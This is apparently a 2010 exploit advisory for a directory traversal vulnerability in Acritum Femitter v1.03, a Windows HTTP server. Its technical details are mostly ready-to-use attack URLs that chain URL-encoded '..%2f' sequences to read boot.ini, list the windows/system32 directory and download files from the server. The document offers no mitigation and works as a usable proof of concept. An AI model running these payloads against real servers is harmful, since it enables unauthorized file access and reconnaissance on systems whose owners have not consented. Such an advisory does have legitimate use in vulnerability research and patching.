############################################################## Acritum Femitter v1.03 Directory Traversal Exploit# Found By: Dr_IDE# Date: Apr. 20, 2010# Tested On:Windows 7# Download: http://acritum.com/fem/download.htm#############################################################- Description -
Acritum Femitter v1.03 is a Windows based HTTP server. This is the latest
version of the application available.
Acritum Femitter v1.03 is vulnerable to remote directory traversal attack by the
following means.- Technical Details -
http://[webserver IP]/[\../]
http://172.16.2.102////..%2f..%2f..%2f..%2fboot.ini <- File Access
http://172.16.2.102////..%2f..%2f..%2f..%2fwindows/system32 <- Full Directory Listing
http://172.16.2.102////..%2f..%2f..%2f..%2fwindows/system32/calc.exe<- File Download
#[pocoftheday.blogspot.com]
